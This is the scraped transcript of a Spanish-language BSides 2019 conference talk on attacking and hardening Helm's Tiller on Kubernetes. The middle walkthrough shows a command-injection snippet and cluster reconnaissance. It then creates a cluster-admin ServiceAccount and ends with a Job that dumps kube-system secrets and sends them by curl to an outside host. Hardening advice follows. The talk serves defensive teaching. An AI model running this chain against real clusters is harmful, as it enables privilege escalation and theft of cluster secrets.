# whoami Preventing attacks to Helm on K8s Martin Cruz ......despliegue y funcionamiento de pods. KubeletComponente principal en los Worker Nodes. Actúa como bridge entre el API

Post on 27-Sep-2020

0 Views

Category:

Documents

0 Downloads

Preview:

Click to see full reader

Transcript

Preventing attacks to Helm on K8s

/# whoamiMartin Cruz

/# which3XM Group

/# whereisBSides 2019 - Córdoba - Argentina

bit.ly/2I3j8u8

Contact

@tinplinplin

@Martin_3XM

Roadmap

Preventing_attacks_to_Helm_on_K8s/

├── Kubernetes

│ ├── Concepts

│ └── Helm

├── Context

├── Attack_Surface

├── POC

│ ├── Walkthrough

│ └── Demo

├── Hardening

└── Resources

Kubernetes (K8s)

Sistema open-source creado por Google para la automatización de despliegues, escalamiento y management de aplicaciones.

Concepts

Los objetos de Kubernetes son entidades persistentes dentro del sistema. Kubernetes utiliza estas entidades para representar el estado del cluster.

Objects

● Pod● Service● Volume● Namespace

Concepts

Los controladores son capas de abstracción que proveen funcionalidad y controlan que los objetos alcancen el estado deseado.

Controllers

● ReplicaSet● Deployment● StatefulSet● DaemonSet● Job

K8s Cluster ServicesControl Plane

● API Server● Scheduler● Controller Manager

Add Ons

● Image Registry● Dashboard

API Server

Componente principal del Master Node. Dirige al resto de los componentes (Scheduler, Controller Manager).

Nodes

VM o máquina física que contiene servicios imprescindibles (container runtime, kubelet, kube-proxy) para el despliegue y funcionamiento de pods.

Kubelet

Componente principal en los Worker Nodes. Actúa como bridge entre el API Server del Control Plane y el container runtime de cada nodo.

Helm

Package manager para K8s. Del mismo modo que apt, yum o dnf, sirve para automatizar procesos de instalación, configuración y upgrading utilizando charts como un set de

recursos.

Chart

Package de Helm que contiene información suficiente para instalar un conjunto de recursos de Kubernetes en un cluster.

Tiller

Server side de Helm client. Interactúa de manera directa con la interfaz API de Kubernetes. Es conocido como “a giant sudo server”.

Free as a bird

Nuevos paradigmas requieren nuevas soluciones. Palabras como escalabilidad, HA y eficiencia son una constante. Ciertos conceptos, cercanos a integración o despliegue continuo de aplicaciones (llevados al extremo) frecuentemente restan visibilidad sobre las plataformas.

Really?

Tesla K8s hack

En 2018, una investigación RedLock CSI reveló que Tesla había sido víctima de cryptojacking. A través de servicios expuestos podía accederse a datos sensibles, como keys de entornos

cloud.

Facts

El incremento exponencial de tecnologías de contenedores y orquestadores, es un hecho. Como también lo es que nuevos issues de seguridad surgen, también

exponencialmente, a partir de su uso.

New surface, new vectors?Container Escape

Instance Metadata

mknod

/var/run/docker.sock

chroot mount

kubelet

TLS bootstrapping

cluster

node

Default surface, default vectors

Privileged users

RBACVulnerable Images

Network Isolation

PodSecurityPolicyDefault Permissions

Attack-driven hardening

The best defense is a good offense

Abusing Tiller - attack flow

Desde una aplicación node.js previamente vulnerada, desplegamos charts que contienen jobs para dumpear secrets del namespace `kube-system`.

Abusing Tiller - vuln application

Code snippet (core/appHandler.js) que permite explotar el vector command injection.

const exec = require('child_process').exec;...exec('ping -c 2 '+ req.body.address, function(err,stdout,stderr){ console.log(err) output = stdout + stderr

Abusing Tiller - walkthrough

Variables que indican que el contenedor vulnerado está corriendo en un entorno orquestado por Kubernetes.

env | grep -i kubeKUBERNETES_PORT=tcp://172.21.0.1:443KUBERNETES_PORT_443_TCP_PORT=443KUBERNETES_SERVICE_PORT=443KUBERNETES_SERVICE_HOST=172.21.0.1KUBERNETES_PORT_443_TCP_PROTO=tcpKUBERNETES_SERVICE_PORT_HTTPS=443KUBERNETES_PORT_443_TCP_ADDR=172.21.0.1KUBERNETES_PORT_443_TCP=tcp://172.21.0.1:443

Abusing Tiller - cont.

Debido a la presencia de role-based access controls (o RBACs) no es posible conectar sin autenticación con la interfaz API del Master Node.

curl -k https://172.21.0.1/api/v1/namespaces/default/pods{ "kind": "Status", "apiVersion": "v1", "metadata": { }, "status": "Failure", "message": "pods is forbidden: User \"system:anonymous\" cannot list pods in the namespace \"default\"", "reason": "Forbidden", "details": { "kind": "pods" }, "code": 403

Abusing Tiller - cont.

Por defecto, Kubernetes usa `kube-dns` para service-discovery. Los FQDNs se construyen utilizando la nomenclatura

<svc_name>.<namespace>.svc.cluster.local.

cat /etc/resolv.confsearch default.svc.cluster.local svc.cluster.local cluster.localnameserver 172.21.0.10options ndots:5

getent hosts kube-dns.kube-system.svc.cluster.local172.21.0.10 kube-dns.kube-system.svc.cluster.local

getent hosts tiller-deploy.kube-system.svc.cluster.local172.21.49.102 tiller-deploy.kube-system.svc.cluster.local

Abusing Tiller - cont.

El pod tiller-deploy recibe requests desde el client-side de Helm en el puerto 44134 (gRPC). Dentro del cluster esta interacción es posible de manera directa.

curl tiller-deploy.kube-system.svc.cluster.local curl: (7) Failed to connect to tiller-deploy.kube-system.svc.cluster.local port 80: Connection timed out

curl tiller-deploy.kube-system.svc.cluster.local:44134curl: (56) Recv failure: Connection reset by peer

Abusing Tiller - cont.

De forma predeterminada, Tiller no requiere ninguna autenticación para la comunicación a través de gRPC. En implementaciones default podemos, esencialmente, ejecutar comandos de

Helm con privilegios elevados.

curl -L "https://storage.googleapis.com/kubernetes-helm/helm-v2.10.0-linux-amd64.tar.gz" | tar xz --strip-components=1 -C . linux-amd64/helm % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed100 8991k 100 8991k 0 0 20.9M 0 --:--:-- --:--:-- --:--:-- 20.9M

./helm --host tiller-deploy.kube-system.svc.cluster.local:44134 lsError: incompatible versions client[v2.10.0] server[v2.8.2]

Abusing Tiller - cont.

Con Helm podemos crear una cuenta de servicio privilegiada para extraer secrets. Son necesarios una nueva ServiceAccount y un nuevo ClusterRoleBinding.

---apiVersion: v1kind: ServiceAccountmetadata: name: tiller-test namespace: kube-system---apiVersion: rbac.authorization.k8s.io/v1kind: ClusterRoleBindingmetadata: name: tiller-testroleRef: apiGroup: rbac.authorization.k8s.io kind: ClusterRole name: cluster-adminsubjects: - kind: ServiceAccount name: tiller-test namespace: kube-system

Abusing Tiller - cont.

Lo generado en el paso previo se adjunta a un nuevo Job que extrae todos los secrets, a través de la API, de un determinado namespace.

---apiVersion: batch/v1kind: Jobmetadata: name: tiller-test namespace: kube-systemspec: template: spec: serviceAccountName: tiller-test containers: - name: tiller-test image: rflathers/kubectl:bash command: - ["/bin/bash","-c","kubectl get secrets --namespace=kube-system -o json | curl -XPUT -Ffile=@- http://tiller-test.ddns.net:25478/files/test?token=p4wn3d"] restartPolicy: Never

Abusing Tiller - demo

Cluster - get all roles

Cluster - get all pods

Default effects

default values in early use, tend to remain in use!

Don’t be defined by default

Securing Helm

La implementaciones predefinidas no aplican políticas de seguridad específicas relativas a Tiller. Para securizar estas instalaciones, deberían considerarse los siguientes aspectos:

● Role-based access control (RBAC)

● Tiller's gRPC endpoint● Tiller release information● Helm charts

RBAC

En reemplazo de roles de cluster, se pueden definir roles y bindings específicos para limitar el alcance de Tiller a un namespace particular (restringido a la implementación de recursos sólo en ese namespace) o implementar recursos en namespaces diferentes.

kind: RoleapiVersion: rbac.authorization.k8s.io/v1metadata: name: tiller-manager namespace: tiller-worldrules:- apiGroups: ["", "batch", "extensions", "apps"] resources: ["*"] verbs: ["*"]---kind: RoleBindingapiVersion: rbac.authorization.k8s.io/v1metadata: name: tiller-binding namespace: tiller-worldsubjects:- kind: ServiceAccount name: tiller namespace: tiller-worldroleRef: kind: Role name: tiller-manager apiGroup: rbac.authorization.k8s.io

gRPC Endpoint

Sin mecanismos de autenticación predeterminados, cualquier proceso en el clúster puede comunicarse con Tiller vía gRPC, ejecutando operaciones dentro del clúster. Para evitarlo, deben considerarse los siguientes puntos:

● Enabling TLS (mTLS)

● Running Tiller locally (Tillerless -

Helm v3)

Going further

● Segmentar Tiller por medio de “tenants”.

● Utilizar ServiceAccounts específicas.

● Implementar controles de acceso basados en roles (RBAC).

o simplemente, ser Tillerless.

You've Got a Friend in Me

Service Mesh: paradigma que permite abstraer la granularidad de servicios facilitando acciones tales como control de tráfico, control de acceso, fault tolerance, load balancing, monitoreo, end-to-end security policy enforcement, etc.

Hardening tips1. Use the latest stable K8s version

2. Audit the OS, container runtime, and

K8s configuration using tools like

kube-auto-analyzer and kube-bench

3. Log everything to a location outside

the Cluster

4. Use private registries, and restrict

public registry usage

5. Scan all images for security

vulnerabilities continuously using

tools like CoreOS Clair

6. Maintain standard base images and

ensure that all workloads use them

7. Do NOT run containers as `root` user

1. API Server

`--authorization-mode=Node,RBAC`

2. Ensure all services are protected by

mTLS

3. Ensure kubelet protects its API via

`--authorization-mode=Webhook`

4. Closely monitor all RBAC policy

failures

5. Remove default ServiceAccount

permissions

Hardening tips - cont.1. Filter access to the cloud provider

metadata APIs/URL, and limit IAM

permissions

2. Use a CNI network plugin that filters

ingress/egress pod network traffic:

a.Properly label all pods

b.Isolate all workloads from each

other

c.Prevent workloads from egressing to

the Internet, the Pod IP space, the

Node IP subnets, and/or other internal

networks

d.Restrict all traffic coming into the

kube-system namespace except kube-dns

1. Namespaces per tenant

2. Default network “deny” inbound on all

namespaces

3. Set

`automountServiceAccountToken:false`

on pods where possible

4. Use a PodSecurityPolicy to enforce

container restrictions

5. Separate clusters for dev, test and

production environments

Resources

● Istio: github.com/istio/ istio

● DAST: github.com/zaproxy/ zaproxy

● SAST: github.com/SonarSource/ sonarqube

● Container-Scan: github.com/coreos/ clair

● Tillerless Helm: github.com/rimusz/ helm-tiller

● Kube-Scan: github.com/aquasecurity/ kube-hunter

● Kube-Sec: github.com/stefanprodan/ kubectl-kubesec

● RBAC Charts: github.com/mmerrill3/ helm-security-demo

“make clusterssecure by default”

top related